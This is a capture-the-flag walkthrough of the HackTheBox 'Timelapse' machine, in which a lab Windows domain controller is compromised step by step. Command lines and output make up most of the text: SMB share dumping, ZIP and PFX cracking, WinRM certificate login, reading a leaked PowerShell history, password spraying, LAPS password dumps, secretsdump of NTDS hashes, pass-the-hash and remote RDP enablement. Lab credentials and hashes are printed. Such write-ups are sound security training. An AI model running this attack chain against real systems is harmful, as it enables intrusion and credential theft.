[HackTheBox] Timelapse

jamarirjamarir
15 min read

Just another ZIP & PFX Cracking / WinRM Cert Auth / PSReadLine ConsoleHost_History Leak / LAPS / RDP (socat) & SAM reg over DC Write-up.

Machine Link.

IppSec Walkthrough.

Foothold

Open ports

The Nmap scan reveals the following open ports:

jamarir@kali:~$ sudo nmap -sS -p- -v -Pn --disable-arp-ping -oA syn_full --open 10.10.11.152
jamarir@kali:~$ nmap -Pn --disable-arp-ping -sC -sV -v -oA nse 10.10.11.152 -p$(grep -oP '^\d*(?=/)(?=.* open )' syn_full.nmap |sort -u |tr '\n' ',' |grep -oP '.*(?=,)')
jamarir@kali:~$ cat syn_full.nmap
[...]
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49695/tcp open  unknown
[...]

That’s a common DC running DNS (53), LDAP/S (389/636) , WinRM-SSL (5986) and Kerberos (88) named DC01.timelapse.htb:

jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.11.152' /etc/resolv.conf
jamarir@kali:~$ nxc smb 10.10.11.152
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)

SMB Guest

First test, we see that the domain Guest account is not disabled, and has access to the uncommon Shares Shared Share:

jamarir@kali:~$ nxc smb 10.10.11.152 -u 'Guest' -p '' --shares
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\Guest:
SMB         10.10.11.152    445    DC01             [*] Enumerated shares
SMB         10.10.11.152    445    DC01             Share           Permissions     Remark
SMB         10.10.11.152    445    DC01             -----           -----------     ------
SMB         10.10.11.152    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.152    445    DC01             C$                              Default share
SMB         10.10.11.152    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.152    445    DC01             NETLOGON                        Logon server share
SMB         10.10.11.152    445    DC01             Shares          READ
SMB         10.10.11.152    445    DC01             SYSVOL                          Logon server share

When dumped:

jamarir@kali:~$ nxc smb 10.10.11.152 -u 'Guest' -p '' -d timelapse.htb -M spider_plus -o OUTPUT_FOLDER='nxc_spider_plus' DOWNLOAD_FLAG='True' EXCLUDE_FILTER='PRINT$,IPC$' EXCLUDE_EXTS='ico,lnk,svg' MAX_FILE_SIZE=999999

We see basically LAPS guides and a ZIP:

jamarir@kali:~$ tree
.
├── 10.10.11.152
│   └── Shares
│       ├── Dev
│       │   └── winrm_backup.zip
│       └── HelpDesk
│           ├── LAPS_Datasheet.docx
│           ├── LAPS_OperationsGuide.docx
│           └── LAPS_TechnicalSpecification.docx
└── 10.10.11.152.json

The LAPS documents contain no interesting information, for instance:

ZIP & PFX Cracking

However, looking at the ZIP file shows it is password-protected:

jamarir@kali:~$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

Cracking it with john reveals the password is supremelegacy:

jamarir@kali:~$ zip2john winrm_backup.zip |john /dev/stdin -w=/usr/share/wordlists/rockyou.txt
[...]
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)

Same goes for the PFX certificate file inside, whose password is thuglegacy:

jamarir@kali:~$ unzip winrm_backup.zip
jamarir@kali:~$ pfx2john legacyy_dev_auth.pfx |john /dev/stdin -w=/usr/share/wordlists/rockyou.txt
[...]
thuglegacy       (legacyy_dev_auth.pfx)

Then, we may extract its attributes with openssl for example. We see this certificate is used to Client Authenticate the legacyy@timelapse.htb (SAN) user:

jamarir@kali:~$ openssl x509 -in legacyy_dev_auth.pfx -text -noout
Enter pass phrase for PKCS12 import pass phrase:
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            1d:99:89:29:8a:cf:11:bb:41:93:a1:cf:f4:4e:12:df
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=Legacyy
        Validity
            Not Before: Oct 25 14:05:52 2021 GMT
            Not After : Oct 25 14:15:52 2031 GMT
        Subject: CN=Legacyy
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a5:56:07:a3:62:16:47:1e:e2:f3:4d:23:ad:61:
        [...]
                    2c:77:bf:a6:57:2f:42:8f:08:5c:c3:30:4a:8b:14:
                    91:f1
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Client Authentication
            X509v3 Subject Alternative Name:
                othername: UPN:legacyy@timelapse.htb
            X509v3 Subject Key Identifier:
                CC:D9:0E:E4:AF:20:9E:B0:75:2B:FD:81:96:1E:AC:2D:B1:25:58:19
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        5f:8e:fb:76:bf:de:3e:fe:96:fd:da:72:c8:4b:8a:e7:6b:b0:
        [...]
        84:6b:6a:40
No Trusted Uses.
No Rejected Uses.
Key Id: 01:00:00:00

Who is a valid user:

jamarir@kali:~$ echo legacyy > legacyy.txt; kerbrute userenum -d timelapse.htb --dc 10.10.11.152 legacyy.txt
[...]
<DATE> >  [+] VALID USERNAME:       legacyy@timelapse.htb

WinRM Certification

However, if we try to authenticate with that certificate against the domain (Pass-The-Certificate), we have the KDC_ERROR_CLIENT_NOT_TRUSTED error:

jamarir@kali:~$ certipy cert -export -pfx legacyy_dev_auth.pfx -password 'thuglegacy' -out "unprotected.pfx"
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotected.pfx'

jamarir@kali:~$ certipy auth -pfx unprotected.pfx -dc-ip 10.10.11.152 -domain timelapse.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: legacyy@timelapse.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)

As shown in this SensePost article, it’s likely to be because the DC doesn’t trust the certificate’s CA. Similarly, trying to authenticate against LDAPS (port 636) using the passthecert.py script isn’t working, as such authentication is likely not supported:

jamarir@kali:~$ passthecert.py -action ldap-shell -crt legacyy_dev_auth.crt  -key legacyy_dev_auth.key  -domain timelapse.thb -dc-ip "10.10.11.152" -port 636
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

socket ssl wrapping error: [Errno 104] Connection reset by peer

Among the other service supporting a certificate authentication is WinRM-SSL (on port 5986). Then we may provide the public and private keys of our cert, which worked !

jamarir@kali:~$ evil-winrm -h

Evil-WinRM shell v3.7

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -a, --user-agent USERAGENT       Specify connection user-agent (default Microsoft WinRM Client)
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    [...]
jamarir@kali:~$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -nodes -out legacyy_dev_auth.crt
jamarir@kali:~$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out legacyy_dev_auth.key
jamarir@kali:~$ evil-winrm --ssl -i 10.10.11.152 -k legacyy_dev_auth.key  -c legacyy_dev_auth.crt
[...]
*Evil-WinRM* PS C:\Users\legacyy\Documents>

That same authentication could be performed using certipy, as long as the certificate is unprotected:

jamarir@kali:~$ certipy cert -export -pfx legacyy_dev_auth.pfx -password 'thuglegacy' -out unprotected.pfx
jamarir@kali:~$ certipy cert -pfx unprotected.pfx -nokey -out unprotected.crt 
jamarir@kali:~$ certipy cert -pfx unprotected.pfx -nocert -out unprotected.key
jamarir@kali:~$ evil-winrm --ssl -i DC01.timelapse.htb -k unprotected.key  -c unprotected.crt
[...]
*Evil-WinRM* PS C:\Users\legacyy\Documents>

The user flag is in the Desktop:

*Evil-WinRM* PS C:\Users\legacyy\Documents> gc ../Desktop/user.txt
63[...]eb

Privilege Escalation

PSReadLine ConsoleHost History

legacyy has no specific rights on the box:

*Evil-WinRM* PS C:\Users\legacyy> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

We only see that that user is member of the Development group:

*Evil-WinRM* PS C:\Users\legacyy> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development                       Group            S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1                                     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

However, a recursive search on his directories’ files reveals the ConsoleHost_history.txt file:

*Evil-WinRM* PS C:\Users\legacyy> Get-ChildItem -Path '.' -Force -Recurse -File -Exclude *.lnk,*.svg,*.ini,*.dat,*.lock,*.etl,*.hxd,*.url 2>$null |Where Length -gt 0 |Select -Expand FullName
C:\Users\legacyy\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
C:\Users\legacyy\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
C:\Users\legacyy\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml
C:\Users\legacyy\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
C:\Users\legacyy\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
C:\Users\legacyy\AppData\Local\Microsoft\Windows\UsrClass.dat{4f4d8c3a-3436-11ec-af1e-000c293de1ba}.TM.blf
C:\Users\legacyy\AppData\Local\Microsoft\Windows\UsrClass.dat{4f4d8c3a-3436-11ec-af1e-000c293de1ba}.TMContainer00000000000000000001.regtrans-ms
C:\Users\legacyy\AppData\Local\Microsoft\Windows\UsrClass.dat{4f4d8c3a-3436-11ec-af1e-000c293de1ba}.TMContainer00000000000000000002.regtrans-ms
C:\Users\legacyy\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
C:\Users\legacyy\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
C:\Users\legacyy\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\SendTo\Mail Recipient.MAPIMail
C:\Users\legacyy\Desktop\user.txt
C:\Users\legacyy\ntuser.dat.LOG1
C:\Users\legacyy\ntuser.dat.LOG2
C:\Users\legacyy\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf
C:\Users\legacyy\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
C:\Users\legacyy\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms

We see his PowerShell history, disclosing the password E3R$Q62^12p7PLlC%KWaxuaV and username svc_deploy against WinRM-SSL:

Evil-WinRM* PS C:\Users\legacyy> gc C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Interestingly enough, the Get-PSReadLineOption cmdlet, as shown by 0xdf, doesn’t return the above ConsoleHost_history path:

*Evil-WinRM* PS C:\Users\legacyy\Documents> Get-PSReadlineOption


EditMode                               : Windows
AddToHistoryHandler                    :
HistoryNoDuplicates                    : True
HistorySavePath                        : C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
HistorySaveStyle                       : SaveIncrementally
[...]

But an inexistent file named ServerRemoteHost_history.txt:

*Evil-WinRM* PS C:\Users\legacyy\Documents> dir "C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" |Select -Expand FullName
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

And based on the following user lists:

*Evil-WinRM* PS C:\Users\legacyy> dir \Users


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/23/2021  11:27 AM                Administrator
d-----       10/25/2021   8:22 AM                legacyy
d-r---       10/23/2021  11:27 AM                Public
d-----       10/25/2021  12:23 PM                svc_deploy
d-----        2/23/2022   5:45 PM                TRX

Password spraying E3R$Q62^12p7PLlC%KWaxuaV shows it is valid only against the svc_deploy user:

jamarir@kali:~$ while read user; do 
  for protocol in smb ldap wmi winrm; do 
    (nxc $protocol 10.10.11.152 -u "$user" -p 'E3R$Q62^12p7PLlC%KWaxuaV' |grep -vP '( \[\*\] |STATUS_LOGON_FAILURE|RPC_S_ACCESS_DENIED| Connection refused | ERROR |KDC_ERR_PREAUTH_FAILED)'&);
  done; 
done < users.txt
LDAP                     10.10.11.152    389    DC01             [-] timelapse.htb\Administrator:E3R$Q62^12p7PLlC%KWaxuaV
LDAP                     10.10.11.152    389    DC01             [-] timelapse.htb\legacyy:E3R$Q62^12p7PLlC%KWaxuaV
RPC                      10.10.11.152    135    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LDAP                     10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
SMB                      10.10.11.152    445    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LDAP                     10.10.11.152    389    DC01             [-] timelapse.htb\TRX:E3R$Q62^12p7PLlC%KWaxuaV
WINRM-SSL                10.10.11.152    5986   DC01             [-] timelapse.htb\Administrator:E3R$Q62^12p7PLlC%KWaxuaV
WINRM-SSL                10.10.11.152    5986   DC01             [-] timelapse.htb\legacyy:E3R$Q62^12p7PLlC%KWaxuaV
WINRM-SSL                10.10.11.152    5986   DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)
WINRM-SSL                10.10.11.152    5986   DC01             [-] timelapse.htb\TRX:E3R$Q62^12p7PLlC%KWaxuaV

BTW, we could also have brute-forced usernames with kerbrute based on a xato seclists wordlist from the beginning:

jamarir@kali:~$ kerbrute userenum -d timelapse.htb --dc 10.10.11.152 -t 50 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
[...]
<DATE> >  [+] VALID USERNAME:       guest@timelapse.htb
<DATE> >  [+] VALID USERNAME:       administrator@timelapse.htb
<DATE> >  [+] VALID USERNAME:       Guest@timelapse.htb
<DATE> >  [+] VALID USERNAME:       Administrator@timelapse.htb
<DATE> >  [+] VALID USERNAME:       GUEST@timelapse.htb
<DATE> >  [+] VALID USERNAME:       db01@timelapse.htb
<DATE> >  [+] VALID USERNAME:       trx@timelapse.htb
<DATE> >  [+] VALID USERNAME:       dev01@timelapse.htb
<DATE> >  [+] VALID USERNAME:       dc01@timelapse.htb
<DATE> >  [+] VALID USERNAME:       TRX@timelapse.htb
<DATE> >  Done! Tested 8295455 usernames (10 valid) in 3559.709 seconds

LAPS Administrator

NetExec marked our svc_deploy impersonation as (Pwned!). That means it already detected we’re Domain Admin somehow. This account has access to SMB and LDAP. Let's first collect bloodhound data using bloodhound.py:

jamarir@kali:~$ bloodhound.py -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d 'timelapse.htb' -dc DC01.timelapse.htb -ns 10.10.11.152 -c all --zip

We’re a member of the LAPS_READERS group:

However, this group doesn’t seem to be a Windows built-in group, as its RID is 2601, above a thoursand. But as its name suggests, we should be allowed to read LAPS passwords, with a ReadLAPSPassword right over the DC:

Windows LAPS (Local Administrator Password Solution) automatically manages the local administrator passwords of domain-joined computers (mainly the policy, expiry, updates, and backups). In our case, only svc_deploy has that right, as he is the only member of the group:

jamarir@kali:~$ cat DC01_10.10.11.152_*_computers.json|jq '.data[] |.Aces[] |select(.RightName=="ReadLAPSPassword")'
{
  "RightName": "ReadLAPSPassword",
  "IsInherited": true,
  "PrincipalSID": "S-1-5-21-671920749-559770252-3318990721-2601",
  "PrincipalType": "Group"
}

jamarir@kali:~$ rpcclient 10.10.11.152 -U 'svc_deploy%E3R$Q62^12p7PLlC%KWaxuaV' -c 'lookupsids S-1-5-21-671920749-559770252-3318990721-2601'
S-1-5-21-671920749-559770252-3318990721-2601 TIMELAPSE\LAPS_Readers

jamarir@kali:~$ ldapsearch -N -LLL -H ldap://DC01.timelapse.htb -U 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'DC=TIMELAPSE,DC=HTB' '(memberOf=*)' 'memberOf' |grep -vP '^(#|\s*$)'
[...]
dn: CN=svc_deploy,CN=Users,DC=timelapse,DC=htb
memberOf: CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=timelapse,DC=htb
[...]

Thus, we may dump the DC's LAPS passwords:

  • Using ldapsearch:

      jamarir@kali:~$ ldapsearch -N -H ldap://DC01.timelapse.htb -U 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'DC=timelapse,DC=htb' '(ms-Mcs-AdmPwd=*)' 'ms-Mcs-AdmPwd' 'ms-mcs-AdmPwdExpirationTime'
      [...]
      # DC01, Domain Controllers, timelapse.htb
      dn: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
      ms-Mcs-AdmPwd: /x-r!E56H5@@mVb5dNGLAgPA
      ms-Mcs-AdmPwdExpirationTime: 133907744015113870
      [...]
    
  • Or NetExec:

      jamarir@kali:~$ nxc ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
      SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
      LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
      LAPS        10.10.11.152    389    DC01             [*] Getting LAPS Passwords
      LAPS        10.10.11.152    389    DC01             Computer:DC01$ User:                Password:/x-r!E56H5@@mVb5dNGLAgPA
    
  • Or bloodyAD:

      jamarir@kali:~$ bloodyAD --host '10.10.11.152' -d 'timelapse.htb' -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,m
      s-mcs-admpwdexpirationtime
    
      distinguishedName: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
      ms-Mcs-AdmPwd: /x-r!E56H5@@mVb5dNGLAgPA
      ms-Mcs-AdmPwdExpirationTime: 133907744015113870
    
  • Or the Windows’s RSAT tools including the Get-ADComputer cmdlet:

      PS C:\Users\jamarir> Get-ADComputer -Server 10.10.11.152 -Filter {ms-mcs-admpwdexpirationtime -like '*'} -Properties 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' -Credential (New-Object System.Management.Automation.PSCredential('timelapse.htb\svc_deploy',(ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force)))
      DistinguishedName           : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
      DNSHostName                 : dc01.timelapse.htb
      Enabled                     : True
      ms-mcs-admpwd               : /x-r!E56H5@@mVb5dNGLAgPA
      ms-mcs-admpwdexpirationtime : 133907744015113870
      Name                        : DC01
      ObjectClass                 : computer
      ObjectGUID                  : 6e10b102-6936-41aa-bb98-bed624c9b98f
      SamAccountName              : DC01$
      SID                         : S-1-5-21-671920749-559770252-3318990721-1000
      UserPrincipalName           :
    

This LAPS password being used by the computer’s administrator account, we may impersonate Administrator on the DC through WinRM (domain-wise authentication).

GG WP !

jamarir@kali:~$ evil-winrm --ssl -i 10.10.11.152 -u 'Administrator' -p '/x-r!E56H5@@mVb5dNGLAgPA'
*Evil-WinRM* PS C:\Users\Administrator\Documents> gc \Users\TRX\Desktop\root.txt
31[...]29

Just another SAM headache

This is basically a continuation of that SAM over DC headache.

The password we used is effectively domain-wise, as it is stored in the NTDS database (NTHash being 66ed2e6ae61bedbaaa2c1e951c070084):

jamarir@kali:~$ python -c 'import binascii, hashlib; print(binascii.hexlify(hashlib.new("md4", "/x-r!E56H5@@mVb5dNGLAgPA".encode("utf-16le")).digest()))'
b'66ed2e6ae61bedbaaa2c1e951c070084'

jamarir@kali:~$ secretsdump.py -user-status -history -pwd-last-set 'timelapse.htb/Administrator:/x-r!E56H5@@mVb5dNGLAgPA'@10.10.11.152 -skip-security
[...]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b16cb063fdaddb773ba256dd72a14b7:::
[...]
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66ed2e6ae61bedbaaa2c1e951c070084::: (pwdLastSet=<DATE>) (status=Enabled)
[...]

Therefore, we may NetExec using the Administrator NTDS’s NTHash to authenticate domain-wise:

jamarir@kali:~$ nxc winrm 10.10.11.152 -u 'Administrator' -H '66ed2e6ae61bedbaaa2c1e951c070084'
WINRM-SSL   10.10.11.152    5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL   10.10.11.152    5986   DC01             [+] timelapse.htb\Administrator:66ed2e6ae61bedbaaa2c1e951c070084(Pwn3d!)

While it won’t work local-wise:

jamarir@kali:~$ nxc winrm 10.10.11.152 -u 'Administrator' -H '66ed2e6ae61bedbaaa2c1e951c070084' --local-auth                           
WINRM-SSL   10.10.11.152    5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL   10.10.11.152    5986   DC01             [-] DC01\Administrator:66ed2e6ae61bedbaaa2c1e951c070084

Local Auth using the SAM Registry NTHash on DC ?

But surprisingly, using the SAM database’s NTHash doesn’t work through local authentication :/

jamarir@kali:~$ nxc smb 10.10.11.152 -u 'Administrator' -H '6b16cb063fdaddb773ba256dd72a14b7' --local-auth
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:DC01) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [-] DC01\Administrator:6b16cb063fdaddb773ba256dd72a14b7 STATUS_LOGON_FAILURE

Even if authenticating the same way on my local Windows machine (dumping its SAM database beforehand) works as expected:

PS C:\Windows\system32> reg save hklm\sam C:\windows\tasks\sam.hive
PS C:\Windows\system32> reg save hklm\system C:\windows\tasks\system.hive
jamarir@kali:~$ secretsdump.py -sam sam.hive -system system.hive LOCAL
[...]
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[...]
jamarir:1001:aad3b435b51404eeaad3b435b51404ee:d1[...]ab:::
[*] Cleaning up...

jamarir@kali:~$ nxc smb 192.168.42.76 -u 'jamarir' -H 'd1[...]ab' --local-auth
SMB         192.168.42.76   445    WINDOWS11        [*] Windows 11 Build 22621 x64 (name:WINDOWS11) (domain:WINDOWS11) (signing:False) (SMBv1:False)
SMB         192.168.42.76   445    WINDOWS11        [+] WINDOWS11\jamarir:d1[...]ab

But why that local authentication didn’t work against the DC then ?

RDP + socat Debugging Setup

For easier debugging, let’s first enable RDP on DC01, where our Kali machine allowed to connect through RDP is 10.10.14.3:

*Evil-WinRM* PS C:\Users\Administrator\Documents> $LHOST = "10.10.14.3"
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\Terminal Services\Client" -Name "fClientDisableUDP" -Value 0
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
New-NetFirewallRule -DisplayName "RDP (TCP)" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389 -RemoteAddress $LHOST -Profile Any -Enabled True | Out-Null
New-NetFirewallRule -DisplayName "RDP (UDP)" -Direction Inbound -Action Allow -Protocol UDP -LocalPort 3389 -RemoteAddress $LHOST -Profile Any -Enabled True | Out-Null

Now, we can connect to RDP either from our Kali machine using xfreerdp :

jamarir@kali:~$ sudo apt install freerdp3-x11
jamarir@kali:~$ xfreerdp3 /u:'Administrator' /p:'/x-r!E56H5@@mVb5dNGLAgPA' /d:timelapse.htb /v:10.10.11.152

Or from a local Windows machine with the built-in Remote Desktop Connection app. But because we can only have 1 active HTB OpenVPN connection at a time, we may use the following socat command in our Kali machine to forward RDP connections (eth0:3389) from our local Windows machine to our target (10.10.11.152:3389):

jamarir@kali:~$ socat TCP-LISTEN:3389,fork TCP:10.10.11.152:3389

Either way, we now have RDP enabled on our target and we can connect to it for debugging.

BTW, notice that the LAPS’s policy is defined into the LAPS_Managed GPO:

Created local accounts on DC are Domain’ed

After endless reading on SAM restrictions, local accounts, AD best practices, Windows best practices, I had the idea to simply create a new local account on the DC (because maybe the authentication failure was an Administrator local account exception ?). However, creating a local account sounds impossible on a DC. Any local account created on a DC is forced to be domain-tied (LocalAccount attribute set to FALSE):

PS C:\Users\Administrator> New-LocalUser -Name 'jamarir' -Password (ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force)
PS C:\Users\Administrator> wmic useraccount
AccountType  Caption                  Description                                               Disabled  Domain     FullName      InstallDate  LocalAccount  Lockout  Name           PasswordChangeable  PasswordExpires  PasswordRequired  SID                                           SIDType  Status
512          TIMELAPSE\Administrator  Built-in account for administering the computer/domain    FALSE     TIMELAPSE                             FALSE         FALSE    Administrator  TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-500   1        OK
512          TIMELAPSE\Guest          Built-in account for guest access to the computer/domain  FALSE     TIMELAPSE                             FALSE         FALSE    Guest          TRUE                FALSE            FALSE             S-1-5-21-671920749-559770252-3318990721-501   1        OK
512          TIMELAPSE\krbtgt         Key Distribution Center Service Account                   TRUE      TIMELAPSE                             FALSE         FALSE    krbtgt         TRUE                TRUE             TRUE              S-1-5-21-671920749-559770252-3318990721-502   1        Degraded
512          TIMELAPSE\thecybergeek                                                             FALSE     TIMELAPSE  TheCyberGeek               FALSE         FALSE    thecybergeek   TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-1601  1        OK
512          TIMELAPSE\payl0ad                                                                  FALSE     TIMELAPSE  Payl0ad                    FALSE         FALSE    payl0ad        TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-1602  1        OK
512          TIMELAPSE\legacyy                                                                  FALSE     TIMELAPSE  Legacyy                    FALSE         FALSE    legacyy        TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-1603  1        OK
512          TIMELAPSE\sinfulz                                                                  FALSE     TIMELAPSE  Sinfulz                    FALSE         FALSE    sinfulz        TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-1604  1        OK
512          TIMELAPSE\babywyrm                                                                 FALSE     TIMELAPSE  Babywyrm                   FALSE         FALSE    babywyrm       TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-1605  1        OK
